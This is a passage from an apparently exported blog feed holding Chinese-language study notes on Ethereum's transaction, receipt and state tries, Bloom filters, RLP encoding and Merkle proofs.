解析出来的。</p><p>所以收据树不只证明“交易成功或失败”,还承诺事件日志确实由某笔交易产生,并被记录在某个区块中。</p><hr><h2 id="9-Bloom-Filter-的考点"><a href="#9-Bloom-Filter-的考点" class="headerlink" title="9. Bloom Filter 的考点"></a>9. Bloom Filter 的考点</h2><p>以太坊使用 Bloom Filter 加速日志查询。它是一种空间效率高的概率型数据结构。</p><p>Bloom Filter 判断的是:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">某个元素是否可能存在于集合中</span><br></pre></td></tr></table></figure></div><p>它有两个关键性质:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">判断不存在 -> 一定不存在</span><br><span class="line">判断可能存在 -> 可能存在,需要继续查 logs</span><br></pre></td></tr></table></figure></div><p>Bloom Filter 可能出现 false positive,也就是假阳性。它说“可能存在”,但实际检查 logs 后发现不存在。</p><p>普通 Bloom Filter 不会出现 false negative。只要元素真的存在,它不会判断为不存在。</p><hr><h2 id="10-为什么普通-Bloom-Filter-不支持删除"><a href="#10-为什么普通-Bloom-Filter-不支持删除" class="headerlink" title="10. 为什么普通 Bloom Filter 不支持删除"></a>10. 为什么普通 Bloom Filter 不支持删除</h2><p>Bloom Filter 底层通常是 bit array。插入元素时,会通过多个哈希函数把多个 bit 置为 1。</p><p>多个元素可能共享同一个 bit。如果删除某个元素时直接把 bit 清零,可能破坏另一个元素的存在性判断。</p><p>例如 A 和 B 都使用 <code>bit[8]</code>。删除 A 时把 <code>bit[8]</code> 清零,就可能让 B 被误判为不存在。</p><p>这会产生 false negative,而普通 Bloom Filter 的设计目标就是避免 false negative。</p><p>如果需要删除,可以使用 Counting Bloom Filter,但会增加存储成本和实现复杂度。</p><hr><h2 id="11-为什么交易树和收据树也用-MPT"><a href="#11-为什么交易树和收据树也用-MPT" class="headerlink" title="11. 为什么交易树和收据树也用 MPT"></a>11. 为什么交易树和收据树也用 MPT</h2><p>状态树、交易树、收据树都使用 trie 风格结构,但必要性不同。</p><p>状态树是全局、长期、动态更新的键值状态:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">address -> account state</span><br></pre></td></tr></table></figure></div><p>它必须支持查找、更新、证明、回滚和不存在性证明,因此非常适合 MPT。</p><p>交易树和收据树只属于当前区块,key 是连续的交易序号。理论上,它们也可以用普通 Merkle Tree 完成承诺和证明。</p><p>以太坊统一使用 MPT 风格,更多是工程统一:编码、节点结构、根哈希计算和证明机制可以复用。</p><p>这里要注意这句话:真正“非 MPT 不可”的主要是状态树,交易树和收据树使用 MPT 更偏工程一致性。</p><hr><h2 id="12-三棵树对比表"><a href="#12-三棵树对比表" class="headerlink" title="12. 三棵树对比表"></a>12. 三棵树对比表</h2><table><thead><tr><th>树</th><th>区块头字段</th><th>范围</th><th>key</th><th>value</th><th>是否跨区块持续演进</th></tr></thead><tbody><tr><td>状态树</td><td><code>stateRoot</code></td><td>全局账户状态</td><td><code>keccak256(address)</code></td><td><code>RLP(account state)</code></td><td>是</td></tr><tr><td>交易树</td><td><code>transactionsRoot</code></td><td>当前区块交易</td><td><code>RLP(txIndex)</code></td><td><code>RLP(transaction)</code></td><td>否</td></tr><tr><td>收据树</td><td><code>receiptsRoot</code></td><td>当前区块收据</td><td><code>RLP(txIndex)</code></td><td><code>RLP(receipt)</code></td><td>否</td></tr></tbody></table><p>状态树回答:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">执行完成后,世界状态是什么?</span><br></pre></td></tr></table></figure></div><p>交易树回答:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">这个区块包含哪些交易,顺序是什么?</span><br></pre></td></tr></table></figure></div><p>收据树回答:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">这些交易执行后产生了什么结果?</span><br></pre></td></tr></table></figure></div><hr><h2 id="13-以太坊是交易驱动的确定性状态机"><a href="#13-以太坊是交易驱动的确定性状态机" class="headerlink" title="13. 以太坊是交易驱动的确定性状态机"></a>13. 以太坊是交易驱动的确定性状态机</h2><p>以太坊可以抽象为:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">State_N + Block_N 中的有序交易序列 -> State_N+1</span><br></pre></td></tr></table></figure></div><p>也可以写成:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">S_{t+1} = Apply(Tx_1, Tx_2, ..., Tx_n, S_t)</span><br></pre></td></tr></table></figure></div><p>所有节点从相同前置状态开始,按相同顺序执行相同交易,必须得到相同的新状态和相同的 <code>stateRoot</code>。</p><p>这就是状态转移确定性。如果合约执行依赖不确定外部信息,不同节点就可能得到不同结果,无法达成共识。</p><p>所以智能合约不能直接调用普通互联网 API、读取链下随机数或取本地系统时间。</p><hr><h2 id="14-BTC-也可以看成状态机吗"><a href="#14-BTC-也可以看成状态机吗" class="headerlink" title="14. BTC 也可以看成状态机吗"></a>14. BTC 也可以看成状态机吗</h2><p>可以。比特币的状态可以理解为当前 UTXO Set。</p><p>一笔 BTC 交易会消耗旧 UTXO,并产生新 UTXO:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">UTXO Set_old + Transaction -> UTXO Set_new</span><br></pre></td></tr></table></figure></div><p>以太坊和比特币的差异在状态内容。</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">BTC:UTXO 状态机</span><br><span class="line">ETH:账户与合约状态机</span><br></pre></td></tr></table></figure></div><p>以太坊状态更复杂,因为它包含账户余额、nonce、合约代码和合约存储。</p><hr><h2 id="15-为什么不能只保存当前区块涉及账户"><a href="#15-为什么不能只保存当前区块涉及账户" class="headerlink" title="15. 为什么不能只保存当前区块涉及账户"></a>15. 为什么不能只保存当前区块涉及账户</h2><p>一个常见问题是:每个区块只保存当前交易涉及账户状态,是否可以替代全局状态树?</p><p>答案是不行,或者至少非常低效。</p><p>如果 Alice 很久没有交易,查询 Alice 当前余额时,节点可能需要从最新区块一直向前追溯,直到找到 Alice 最后一次出现。</p><p>判断账户不存在也会很难。当前区块没有某个账户,可能是它不存在,也可能只是该区块没有用到它。</p><p>以太坊需要快速验证交易:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">账户是否存在</span><br><span class="line">nonce 是否正确</span><br><span class="line">余额是否足够支付 value + gas</span><br><span class="line">合约 storage 当前值是什么</span><br></pre></td></tr></table></figure></div><p>这些能力要求每个区块的 <code>stateRoot</code> 承诺完整全局状态,而不是只承诺局部状态差分。</p><hr><h2 id="16-完整执行流程"><a href="#16-完整执行流程" class="headerlink" title="16. 完整执行流程"></a>16. 完整执行流程</h2><p>可以把一个区块的执行过程串成下面这条线:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">1. 节点读取区块交易列表</span><br><span class="line">2. 按交易 index 依次执行</span><br><span class="line">3. 每笔交易产生一个 Receipt</span><br><span class="line">4. 所有交易形成 Transaction Trie</span><br><span class="line">5. 所有收据形成 Receipt Trie</span><br><span class="line">6. 执行后的世界状态形成新的 State Trie</span><br><span class="line">7. 三个根写入或校验区块头</span><br></pre></td></tr></table></figure></div><p>验证区块时,节点不仅要看交易列表,也要重新执行交易,确认最终得到的 <code>stateRoot</code>、<code>transactionsRoot</code> 和 <code>receiptsRoot</code> 与区块头一致。</p><hr><h2 id="17-高频问答"><a href="#17-高频问答" class="headerlink" title="17. 高频问答"></a>17. 高频问答</h2><h3 id="Q1:交易树保存什么?"><a href="#Q1:交易树保存什么?" class="headerlink" title="Q1:交易树保存什么?"></a>Q1:交易树保存什么?</h3><p>保存当前区块中的交易列表。key 是交易在区块中的 index,value 是交易的 RLP 编码。</p><h3 id="Q2:交易树为什么要承诺顺序?"><a href="#Q2:交易树为什么要承诺顺序?" class="headerlink" title="Q2:交易树为什么要承诺顺序?"></a>Q2:交易树为什么要承诺顺序?</h3><p>以太坊是状态机,交易顺序会影响 nonce、余额、合约执行和最终状态。顺序不同,<code>stateRoot</code> 可能不同。</p><h3 id="Q3:收据树保存什么?"><a href="#Q3:收据树保存什么?" class="headerlink" title="Q3:收据树保存什么?"></a>Q3:收据树保存什么?</h3><p>保存当前区块中每笔交易执行后的收据,包括状态码、累计 gas、logsBloom 和 logs。</p><h3 id="Q4:logs-有什么用?"><a href="#Q4:logs-有什么用?" class="headerlink" title="Q4:logs 有什么用?"></a>Q4:logs 有什么用?</h3><p>logs 记录合约事件。区块浏览器和应用后端常通过解析 logs 展示 ERC-20 转账、NFT Transfer 等事件。</p><h3 id="Q5:Bloom-Filter-为什么有用?"><a href="#Q5:Bloom-Filter-为什么有用?" class="headerlink" title="Q5:Bloom Filter 为什么有用?"></a>Q5:Bloom Filter 为什么有用?</h3><p>它可以快速排除不相关区块或收据。判断不存在时一定不存在;判断可能存在时还要继续检查 logs。</p><h3 id="Q6:交易树和收据树为什么也用-MPT?"><a href="#Q6:交易树和收据树为什么也用-MPT?" class="headerlink" title="Q6:交易树和收据树为什么也用 MPT?"></a>Q6:交易树和收据树为什么也用 MPT?</h3><p>主要是工程统一。它们只针对单个区块,key 是连续 index,理论上普通 Merkle Tree 也能完成承诺功能。</p><h3 id="Q7:状态树和交易树最大的区别是什么?"><a href="#Q7:状态树和交易树最大的区别是什么?" class="headerlink" title="Q7:状态树和交易树最大的区别是什么?"></a>Q7:状态树和交易树最大的区别是什么?</h3><p>状态树是跨区块持续演进的全局状态。交易树只承诺当前区块中的交易列表。</p><h3 id="Q8:收据和交易结果是不是等于状态变化?"><a href="#Q8:收据和交易结果是不是等于状态变化?" class="headerlink" title="Q8:收据和交易结果是不是等于状态变化?"></a>Q8:收据和交易结果是不是等于状态变化?</h3><p>不是。收据记录执行结果、gas 和日志。状态变化体现在新的 <code>stateRoot</code> 中。</p><hr><h2 id="18-易错点"><a href="#18-易错点" class="headerlink" title="18. 易错点"></a>18. 易错点</h2><p>不要把交易哈希说成交易树的 key。交易树 key 是交易在当前区块里的 index。</p><p>不要把收据树说成保存交易本身。收据树保存交易执行后的 receipt。</p><p>不要说 Bloom Filter “判断存在就一定存在”。它只能判断可能存在,仍需继续查 logs。</p><p>不要把 <code>receiptsRoot</code> 当成状态根。<code>receiptsRoot</code> 承诺执行结果记录,<code>stateRoot</code> 承诺执行后的世界状态。</p><p>不要把交易树和状态树的 MPT 必要性混为一谈。状态树更需要 MPT,交易树和收据树更多是工程统一。</p><hr><h2 id="19-总结"><a href="#19-总结" class="headerlink" title="19. 总结"></a>19. 总结</h2><p>交易树、收据树和状态树共同把以太坊区块执行过程固定下来。</p><p>交易树承诺输入:当前区块有哪些交易,以及顺序是什么。</p><p>收据树承诺输出记录:每笔交易执行后的状态码、gas、日志和日志过滤信息。</p><p>状态树承诺最终世界状态:所有交易执行完后账户与合约存储处于什么状态。</p><p>总结时,最好按“输入交易 -> 执行交易 -> 生成收据 -> 更新状态 -> 三个根写入区块头”这条线讲,逻辑最清楚。</p>]]></content>
<summary type="html"></summary>
<category term="区块链技术与应用" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E6%8A%80%E6%9C%AF%E4%B8%8E%E5%BA%94%E7%94%A8/"/>
<category term="区块链" scheme="https://kylinxin.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/"/>
<category term="Ethereum" scheme="https://kylinxin.github.io/tags/Ethereum/"/>
<category term="ETH" scheme="https://kylinxin.github.io/tags/ETH/"/>
<category term="以太坊" scheme="https://kylinxin.github.io/tags/%E4%BB%A5%E5%A4%AA%E5%9D%8A/"/>
<category term="MPT" scheme="https://kylinxin.github.io/tags/MPT/"/>
<category term="交易树" scheme="https://kylinxin.github.io/tags/%E4%BA%A4%E6%98%93%E6%A0%91/"/>
<category term="收据树" scheme="https://kylinxin.github.io/tags/%E6%94%B6%E6%8D%AE%E6%A0%91/"/>
</entry>
<entry>
<title>以太坊状态树知识点</title>
<link href="https://kylinxin.github.io/2026/06/04/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E7%8A%B6%E6%80%81%E6%A0%91%E7%9F%A5%E8%AF%86%E7%82%B9/"/>
<id>https://kylinxin.github.io/2026/06/04/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E7%8A%B6%E6%80%81%E6%A0%91%E7%9F%A5%E8%AF%86%E7%82%B9/</id>
<published>2026-06-04T01:16:00.000Z</published>
<updated>2026-06-22T02:00:00.000Z</updated>
<content type="html"><![CDATA[<h2 id="ETH-状态树:知识点总览"><a href="#ETH-状态树:知识点总览" class="headerlink" title="ETH 状态树:知识点总览"></a>ETH 状态树:知识点总览</h2><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/blockchain-course/eth-state-trie.png" alt="ETH 状态树示意图" ><figcaption>ETH 状态树示意图</figcaption></figure></p><blockquote><p>核心一句话:以太坊状态树是全局账户状态的加密承诺。它用 Modified Merkle Patricia Trie 维护 <code>address -> account state</code>,每个区块执行完交易后都会得到新的 <code>stateRoot</code>,并写入区块头。</p></blockquote><p>这一篇整理以太坊状态树的核心知识点:状态树是什么、为什么不用哈希表、为什么不用普通 Merkle Tree,以及状态树和合约存储之间的关系。</p><hr><h2 id="1-先背下来的核心结论"><a href="#1-先背下来的核心结论" class="headerlink" title="1. 先背下来的核心结论"></a>1. 先背下来的核心结论</h2><p>以太坊采用账户模型,需要维护一份全局状态:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">address -> account state</span><br></pre></td></tr></table></figure></div><p>每个账户状态包含四个字段:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">nonce</span><br><span class="line">balance</span><br><span class="line">storageRoot</span><br><span class="line">codeHash</span><br></pre></td></tr></table></figure></div><p><code>nonce</code> 记录交易次数或合约创建次数。<code>balance</code> 是账户的 ETH 原生余额。<code>storageRoot</code> 指向合约账户自己的 Storage Trie。<code>codeHash</code> 是合约代码哈希。</p><p>状态树的根哈希叫 <code>stateRoot</code>。每个区块执行完成后,新的 <code>stateRoot</code> 会写入区块头,用来承诺当前完整世界状态。</p><hr><h2 id="2-核心考点"><a href="#2-核心考点" class="headerlink" title="2. 核心考点"></a>2. 核心考点</h2><p>状态树这一题通常考五层能力。</p><p>第一层:知道以太坊是账户模型,不是 UTXO 模型。</p><p>第二层:知道账户状态四元组:<code>nonce</code>、<code>balance</code>、<code>storageRoot</code>、<code>codeHash</code>。</p><p>第三层:知道状态树不是普通数据库,而是带根哈希和证明能力的 MPT。</p><p>第四层:能解释为什么普通哈希表、普通 Merkle Tree、Sorted Merkle Tree 都不够合适。</p><p>第五层:能把状态树、合约 Storage Trie、ERC-20 余额、分叉回滚、Merkle Proof 串起来。</p><hr><h2 id="3-为什么以太坊需要状态树"><a href="#3-为什么以太坊需要状态树" class="headerlink" title="3. 为什么以太坊需要状态树"></a>3. 为什么以太坊需要状态树</h2><p>比特币主要维护 UTXO Set,关注“哪些输出还没被花费”。以太坊采用账户模型,关注“每个账户现在处于什么状态”。</p><p>以太坊中的账户分为两类:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">EOA:外部账户,由私钥控制</span><br><span class="line">Contract Account:合约账户,由代码控制</span><br></pre></td></tr></table></figure></div><p>普通账户主要关心 ETH 余额和 nonce。合约账户除了余额和 nonce,还需要保存合约代码以及合约内部变量。</p><p>因此,以太坊需要维护一份巨大的动态键值映射:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">keccak256(address) -> RLP(account state)</span><br></pre></td></tr></table></figure></div><p>这份映射不是只给本地节点查数据库用。它还必须让所有节点对同一份状态得到同一个根哈希,并支持轻节点验证某个账户状态是否真实存在。</p><hr><h2 id="4-为什么不能只用哈希表"><a href="#4-为什么不能只用哈希表" class="headerlink" title="4. 为什么不能只用哈希表"></a>4. 为什么不能只用哈希表</h2><p>如果只看查询速度,哈希表很自然:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">map[address] = accountState</span><br></pre></td></tr></table></figure></div><p>普通哈希表平均查询复杂度接近 <code>O(1)</code>,但它缺少区块链需要的状态承诺能力。</p><p>第一个问题是没有统一根哈希。区块链需要用一个短值代表整份全局状态,所有节点通过这个值判断状态是否一致。</p><p>第二个问题是不支持 Merkle Proof。轻节点不能只相信全节点口头返回的余额,它需要一条可验证的证明路径。</p><p>第三个问题是难以证明不存在。判断某个账户不存在,不能靠“数据库没查到”这种本地结论,而要能绑定到某个区块头的 <code>stateRoot</code>。</p><p>所以哈希表适合本地查找,但不能直接作为区块链共识层的状态承诺结构。</p><hr><h2 id="5-为什么不能直接用普通-Merkle-Tree"><a href="#5-为什么不能直接用普通-Merkle-Tree" class="headerlink" title="5. 为什么不能直接用普通 Merkle Tree"></a>5. 为什么不能直接用普通 Merkle Tree</h2><p>普通 Merkle Tree 能提供根哈希,也能证明某个叶子属于这棵树。比特币交易树就是典型例子。</p><p>但以太坊状态不是固定列表,而是动态键值映射:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">address -> account state</span><br></pre></td></tr></table></figure></div><p>普通 Merkle Tree 不擅长按 key 查找。它只知道叶子位置,不知道某个地址应该走到哪个叶子。</p><p>普通 Merkle Tree 还依赖叶子顺序。不同节点如果以不同顺序组织账户,即使账户内容一样,也会得到不同 root。</p><p>Sorted Merkle Tree 可以按 key 排序,但新增账户可能插入到中间位置,导致后续叶子位置和父节点结构大范围变化。</p><p>以太坊需要的是“key 自己决定路径”的结构,所以 Trie 比普通 Merkle Tree 更适合。</p><hr><h2 id="6-Trie、Patricia-Trie-和-MPT"><a href="#6-Trie、Patricia-Trie-和-MPT" class="headerlink" title="6. Trie、Patricia Trie 和 MPT"></a>6. Trie、Patricia Trie 和 MPT</h2><p>Trie 也叫前缀树。它用 key 的每一位决定路径:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root -> a -> 7 -> f -> 3 -> ...</span><br></pre></td></tr></table></figure></div><p>这个特性适合键值映射,因为查找路径由 key 决定,不需要额外排序。</p><p>普通 Trie 的问题是路径可能很长。如果只有一个 key <code>abcdef</code>,普通 Trie 可能展开成六层单分支节点。</p><p>Patricia Trie 会压缩没有分叉的路径:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root -> abcdef -> value</span><br></pre></td></tr></table></figure></div><p>Merkle Patricia Trie 可以理解为:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Patricia Trie + Merkle Hash</span><br></pre></td></tr></table></figure></div><p>Patricia Trie 负责高效查找和路径压缩。Merkle Hash 负责防篡改、根哈希承诺和 Merkle Proof。</p><hr><h2 id="7-以太坊的-Modified-MPT"><a href="#7-以太坊的-Modified-MPT" class="headerlink" title="7. 以太坊的 Modified MPT"></a>7. 以太坊的 Modified MPT</h2><p>以太坊实际使用的是 Modified Merkle Patricia Trie。<code>Modified</code> 主要体现为节点编码、路径编码、节点引用和存储优化。</p><p>MPT 中常见三类节点:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Branch Node</span><br><span class="line">Extension Node</span><br><span class="line">Leaf Node</span><br></pre></td></tr></table></figure></div><p>Branch Node 最多有 16 个子方向,因为以太坊把 key 拆成十六进制 nibble,每一位是 <code>0</code> 到 <code>f</code>。</p><p>Extension Node 用于压缩公共前缀。多个 key 共享一段路径时,这段路径可以用一个扩展节点表示。</p><p>Leaf Node 保存最终 value。对状态树来说,value 通常是 RLP 编码后的账户状态。</p><hr><h2 id="8-为什么-key-通常是地址哈希"><a href="#8-为什么-key-通常是地址哈希" class="headerlink" title="8. 为什么 key 通常是地址哈希"></a>8. 为什么 key 通常是地址哈希</h2><p>账户地址本身是 160 bit,也就是 20 字节。以太坊状态树通常使用地址的 Keccak-256 哈希作为路径 key:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">key = keccak256(address)</span><br></pre></td></tr></table></figure></div><p>这样做可以让 key 分布更均匀,避免攻击者构造大量相似前缀地址,让 Trie 结构退化。</p><p>哈希后的路径空间接近 256 bit,极度稀疏。因此路径压缩很重要,否则普通 Trie 会浪费大量中间节点。</p><hr><h2 id="9-RLP-编码的作用"><a href="#9-RLP-编码的作用" class="headerlink" title="9. RLP 编码的作用"></a>9. RLP 编码的作用</h2><p>账户状态在进入 MPT 前需要被序列化。以太坊使用 RLP,即 Recursive Length Prefix。</p><p>账户状态会被组织成列表:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[nonce, balance, storageRoot, codeHash]</span><br></pre></td></tr></table></figure></div><p>然后编码为确定的字节序列:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">RLP([nonce, balance, storageRoot, codeHash])</span><br></pre></td></tr></table></figure></div><p>哈希函数处理的是字节序列。如果不同节点对同一个账户状态使用不同编码,最终会得到不同哈希和不同 <code>stateRoot</code>。</p><p>RLP 的核心价值是确定性。所有节点必须对同一份状态得到完全相同的字节表示。</p><hr><h2 id="10-状态树和合约-Storage-Trie-的关系"><a href="#10-状态树和合约-Storage-Trie-的关系" class="headerlink" title="10. 状态树和合约 Storage Trie 的关系"></a>10. 状态树和合约 Storage Trie 的关系</h2><p>状态树维护的是账户级别状态。合约自己的变量不会直接摊开放在全局状态树里,而是由合约账户的 <code>storageRoot</code> 指向一棵 Storage Trie。</p><p>可以把结构理解为:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Block Header</span><br><span class="line">└── stateRoot</span><br><span class="line"> └── State Trie</span><br><span class="line"> ├── EOA Account State</span><br><span class="line"> └── Contract Account State</span><br><span class="line"> └── storageRoot</span><br><span class="line"> └── Storage Trie</span><br></pre></td></tr></table></figure></div><p>这个点很常见,因为它能区分 ETH 余额和 ERC-20 余额。</p><p>Alice 有 3 ETH,存储在 Alice 账户状态的 <code>balance</code> 字段。</p><p>Alice 有 100 USDT,通常存储在 USDT 合约 Storage Trie 中的 <code>balances[Alice]</code>。</p><p>所以 ERC-20 余额不是 Alice 账户的 <code>balance</code>。Alice 账户的 <code>balance</code> 只表示 ETH 原生资产。</p><hr><h2 id="11-状态变化如何影响-stateRoot"><a href="#11-状态变化如何影响-stateRoot" class="headerlink" title="11. 状态变化如何影响 stateRoot"></a>11. 状态变化如何影响 stateRoot</h2><p>假设 Alice 给 Bob 转 1 ETH。执行前:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Alice.balance = 5 ETH</span><br><span class="line">Alice.nonce = 10</span><br><span class="line">Bob.balance = 2 ETH</span><br></pre></td></tr></table></figure></div><p>执行后:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Alice.balance = 4 ETH - gas</span><br><span class="line">Alice.nonce = 11</span><br><span class="line">Bob.balance = 3 ETH</span><br></pre></td></tr></table></figure></div><p>Alice 和 Bob 的账户状态改变,对应叶子节点 value 改变。叶子哈希改变后,路径上的父节点哈希逐层改变,最终 <code>stateRoot</code> 改变。</p><p>没有变化的账户不需要重新构建。新旧状态树可以共享大量未变节点,这类似 Git 对未变化对象的复用。</p><hr><h2 id="12-为什么不能原地修改状态树"><a href="#12-为什么不能原地修改状态树" class="headerlink" title="12. 为什么不能原地修改状态树"></a>12. 为什么不能原地修改状态树</h2><p>区块链会出现临时分叉:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Block 100</span><br><span class="line">├── Block 101A</span><br><span class="line">└── Block 101B</span><br></pre></td></tr></table></figure></div><p>节点可能先执行 101B,后来发现 101A 才是规范链。如果状态原地覆盖,旧状态很难恢复。</p><p>智能合约执行也不容易反推。一次 DeFi 交易可能修改多个 storage slot、跨合约调用、更新协议统计变量。</p><p>所以以太坊需要能引用旧状态版本。每个区块头中的 <code>stateRoot</code> 都代表该高度执行完成后的世界状态版本。</p><hr><h2 id="13-Merkle-Proof-和不存在性证明"><a href="#13-Merkle-Proof-和不存在性证明" class="headerlink" title="13. Merkle Proof 和不存在性证明"></a>13. Merkle Proof 和不存在性证明</h2><p>轻节点不保存完整状态树,但可以保存区块头。只要知道区块头中的 <code>stateRoot</code>,就能验证账户状态证明。</p><p>证明流程可以简化为:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">区块头 stateRoot</span><br><span class="line">目标地址 key</span><br><span class="line">从根到叶子的证明路径</span><br><span class="line">账户状态 value</span><br></pre></td></tr></table></figure></div><p>验证者重新计算路径上节点哈希。如果最终根哈希等于区块头里的 <code>stateRoot</code>,就能确认该账户状态属于这个区块的世界状态。</p><p>MPT 也能证明不存在。因为路径由 key 决定,如果路径中某个分支缺失,或者最终叶子路径不匹配,就能证明该 key 不在树中。</p><hr><h2 id="14-为什么状态树必须是全局的"><a href="#14-为什么状态树必须是全局的" class="headerlink" title="14. 为什么状态树必须是全局的"></a>14. 为什么状态树必须是全局的</h2><p>一个常见误区是:每个区块只保存本区块涉及账户的状态,是否可以节省空间?</p><p>这个方案不可行。假设 Alice 很久没交易,查询 Alice 当前余额时,就必须从最新区块一直向前找,直到找到 Alice 最后一次出现的位置。</p><p>判断账户不存在会更麻烦。当前区块没有 Alice,可能是 Alice 不存在,也可能只是这个区块没用到 Alice。</p><p>以太坊的设计是:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">每个区块的 stateRoot 都承诺该区块执行后的完整全局状态</span><br></pre></td></tr></table></figure></div><p>这不代表每个区块完整复制一棵树。MPT 是持久化结构,新旧版本共享未变化节点,只更新变化路径。</p><hr><h2 id="15-和交易树、收据树的关系"><a href="#15-和交易树、收据树的关系" class="headerlink" title="15. 和交易树、收据树的关系"></a>15. 和交易树、收据树的关系</h2><p>以太坊区块头里常见三类根:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">stateRoot</span><br><span class="line">transactionsRoot</span><br><span class="line">receiptsRoot</span><br></pre></td></tr></table></figure></div><p><code>stateRoot</code> 承诺区块执行完成后的全局状态。它是跨区块持续演进的状态版本。</p><p><code>transactionsRoot</code> 承诺当前区块包含哪些交易,以及交易顺序是什么。</p><p><code>receiptsRoot</code> 承诺当前区块中每笔交易执行后的结果、gas 使用和事件日志。</p><p>状态树是理解以太坊数据结构的主线,交易树和收据树是它的对照组。下一篇会专门整理交易树和收据树。</p><hr><h2 id="16-高频问答"><a href="#16-高频问答" class="headerlink" title="16. 高频问答"></a>16. 高频问答</h2><h3 